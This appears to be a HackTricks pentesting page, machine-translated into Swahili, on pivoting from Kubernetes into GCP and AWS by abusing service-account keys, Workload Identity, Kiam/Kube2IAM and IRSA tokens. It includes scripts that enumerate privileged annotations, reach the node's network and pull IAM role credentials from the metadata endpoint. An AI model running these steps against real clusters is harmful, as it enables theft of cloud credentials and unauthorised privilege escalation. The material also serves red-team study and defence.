Kubernetes Pivoting to Clouds

Reading time: 12 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

GCP

Ikiwa unafanya kazi na k8s cluster ndani ya GCP, huenda ukataka kwamba programu fulani inayofanya kazi ndani ya cluster iwe na ufikiaji wa GCP. Kuna njia 2 za kawaida za kufanya hivyo:

Mounting GCP-SA keys as secret

Njia ya kawaida ya kutoa ufikiaji kwa programu ya kubernetes kwa GCP ni:

  • Kuunda GCP Service Account
  • Kuunganisha ruhusa zinazohitajika
  • Kupakua ufunguo wa json wa SA iliyoundwa
  • Kuunganisha kama siri ndani ya pod
  • Kuweka mabadiliko ya mazingira ya GOOGLE_APPLICATION_CREDENTIALS yanayoelekeza kwenye njia ambapo json iko.

warning

Kwa hivyo, kama mshambuliaji, ikiwa unaharibu kontena ndani ya pod, unapaswa kuangalia env variable na json files zenye akreditivu za GCP.

Relating GSA json to KSA secret

Njia ya kutoa ufikiaji kwa GSA kwa GKE cluser ni kwa kuziunganisha kwa njia hii:

  • Kuunda akaunti ya huduma ya Kubernetes katika namespace sawa na GKE cluster yako kwa kutumia amri ifuatayo:
bash
Copy codekubectl create serviceaccount <service-account-name>
  • Unda Siri ya Kubernetes inayoshikilia hati za akaunti ya huduma ya GCP unayotaka kutoa ufikiaji kwa klasta ya GKE. Unaweza kufanya hivyo kwa kutumia zana ya amri ya gcloud, kama inavyoonyeshwa katika mfano ufuatao:
bash
Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • Fungua Siri ya Kubernetes kwa akaunti ya huduma ya Kubernetes ukitumia amri ifuatayo:
bash
Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

warning

Katika hatua ya pili ilipangwa akili za GSA kama siri ya KSA. Kisha, ikiwa unaweza kusoma hiyo siri kutoka ndani ya GKE klasta, unaweza kuinua hadi hiyo GCP huduma akaunti.

GKE Workload Identity

Kwa Workload Identity, tunaweza kuunda Kubernetes service account ili kutenda kama Google service account. Pods zinazotembea na Kubernetes service account zitauthenticate kiotomatiki kama Google service account wanapofikia Google Cloud APIs.

Mfululizo wa hatua za kwanza za kuwezesha tabia hii ni kuwezesha Workload Identity katika GCP (hatua) na kuunda GCP SA unayotaka k8s kuiga.

  • Washa Workload Identity kwenye klasta mpya
bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • Unda/Sasisha nodepool mpya (Vikundi vya Autopilot havihitaji hili)
bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • Unda GCP Service Account ya kuiga kutoka K8s yenye ruhusa za GCP:
bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • Unganisha na klasta na unda akaunti ya huduma kutumia
bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • Funga GSA na KSA
bash
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • Kimbia pod na KSA na angalia ufikiaji kwa GSA:
bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Angalia amri ifuatayo kuthibitisha ikiwa inahitajika:

bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

warning

Kama mshambuliaji ndani ya K8s unapaswa kutafuta SAs zenye iam.gke.io/gcp-service-account annotation kwani hiyo inaonyesha kwamba SA inaweza kufikia kitu katika GCP. Chaguo lingine lingekuwa kujaribu kutumia kila KSA katika klasta na kuangalia kama ina ufikiaji.
Kutoka GCP daima ni ya kuvutia kuorodhesha viunganishi na kujua ni ufikiaji gani unatoa kwa SAs ndani ya Kubernetes.

Hii ni script ya urahisi kuzunguka juu ya maelezo yote ya pods ikiangalia hiyo annotation:

bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM role for Pods)

Njia (ya zamani) ya kutoa IAM Roles kwa Pods ni kutumia Kiam au Kube2IAM server. Kimsingi, unahitaji kuendesha daemonset katika klasta yako yenye aina ya IAM role yenye mamlaka. Hii daemonset itakuwa ile itakayotoa ufikiaji wa IAM roles kwa pods zinazohitaji.

Kwanza kabisa, unahitaji kusanidi ni roles zipi zinaweza kufikiwa ndani ya namespace, na unafanya hivyo kwa kutumia annotation ndani ya kitu cha namespace:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Mara tu namespace imewekwa na majukumu ya IAM, Pods zinaweza kuwa na onyesha jukumu unalotaka kwenye kila ufafanuzi wa pod kwa kitu kama:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

warning

Kama mshambuliaji, ikiwa utapata hizi alama katika pods au namespaces au seva ya kiam/kube2iam inayoendesha (katika kube-system labda) unaweza kujifanya kuwa kila roli ambayo tayari inatumiwa na pods na zaidi (ikiwa una ufikiaji wa akaunti ya AWS orodhesha majukumu).

Unda Pod na IAM Role

note

IAM role ambayo inapaswa kuonyeshwa lazima iwe katika akaunti hiyo hiyo ya AWS kama ile ya kiam/kube2iam na hiyo role lazima iweze kuipata.

yaml
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Role for K8s Service Accounts via OIDC

Hii ndiyo njia inayopendekezwa na AWS.

  1. Kwanza kabisa unahitaji kuunda mtoa huduma wa OIDC kwa klasta.
  2. Kisha unaunda jukumu la IAM lenye ruhusa ambazo SA itahitaji.
  3. Unda uhusiano wa kuaminiana kati ya jukumu la IAM na SA jina (au majina ya namespaces yanayotoa ufikiaji kwa jukumu kwa SAs wote wa namespace). Uhusiano wa kuaminiana utaangalia hasa jina la mtoa huduma wa OIDC, jina la namespace na jina la SA.
  4. Hatimaye, unda SA yenye annotation inayoashiria ARN ya jukumu, na pods zinazotembea na SA hiyo zitakuwa na ufikiaji wa token ya jukumu. Token imeandikwa ndani ya faili na njia imeainishwa katika AWS_WEB_IDENTITY_TOKEN_FILE (default: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Ili kupata aws kwa kutumia token kutoka /var/run/secrets/eks.amazonaws.com/serviceaccount/token endesha:

bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

warning

Kama mshambuliaji, ikiwa unaweza kuhesabu klasta ya K8s, angalia akaunti za huduma zenye anoteshoni hiyo ili kuinua hadi AWS. Kufanya hivyo, tu exec/create pod ukitumia moja ya akaunti za huduma zenye mamlaka na kuiba tokeni.

Zaidi ya hayo, ikiwa uko ndani ya pod, angalia kwa mabadiliko ya mazingira kama AWS_ROLE_ARN na AWS_WEB_IDENTITY_TOKEN.

caution

Wakati mwingine Sera ya Uaminifu ya jukumu inaweza kuwa imewekwa vibaya na badala ya kutoa ufikiaji wa AssumeRole kwa akaunti ya huduma inayotarajiwa, inatoa kwa akaunti zote za huduma. Hivyo, ikiwa unaweza kuandika anoteshoni kwenye akaunti ya huduma iliyodhibitiwa, unaweza kufikia jukumu.

Angalia ukurasa ufuatao kwa maelezo zaidi:

AWS - Federation Abuse

Pata Pods a SAs zenye IAM Roles katika Klasta

Hii ni skripti ya urahisi kuzunguka juu ya pods zote na maelezo ya sas ikiangalia anoteshoni hiyo:

bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Role

Sehemu iliyopita ilikuwa kuhusu jinsi ya kuiba IAM Roles kwa kutumia pods, lakini kumbuka kwamba Node ya K8s cluster itakuwa kifaa ndani ya wingu. Hii ina maana kwamba Node ina uwezekano mkubwa wa kuwa na IAM role mpya ambayo unaweza kuiba (kumbuka kwamba kwa kawaida nodes zote za K8s cluster zitakuwa na IAM role sawa, hivyo huenda isiwe na maana kujaribu kuangalia kwenye kila node).

Hata hivyo, kuna hitaji muhimu ili kufikia metadata endpoint kutoka kwa node, unahitaji kuwa kwenye node (ssh session?) au angalau kuwa na mtandao sawa:

bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Kununua Token ya IAM Role

Awali tulijadili jinsi ya kuunganisha IAM Roles kwa Pods au hata jinsi ya kutoroka hadi Node ili kununua IAM Role ambayo mfano umeunganishwa nayo.

Unaweza kutumia skripti ifuatayo ili kununua akiba yako mpya ya IAM role credentials:

bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks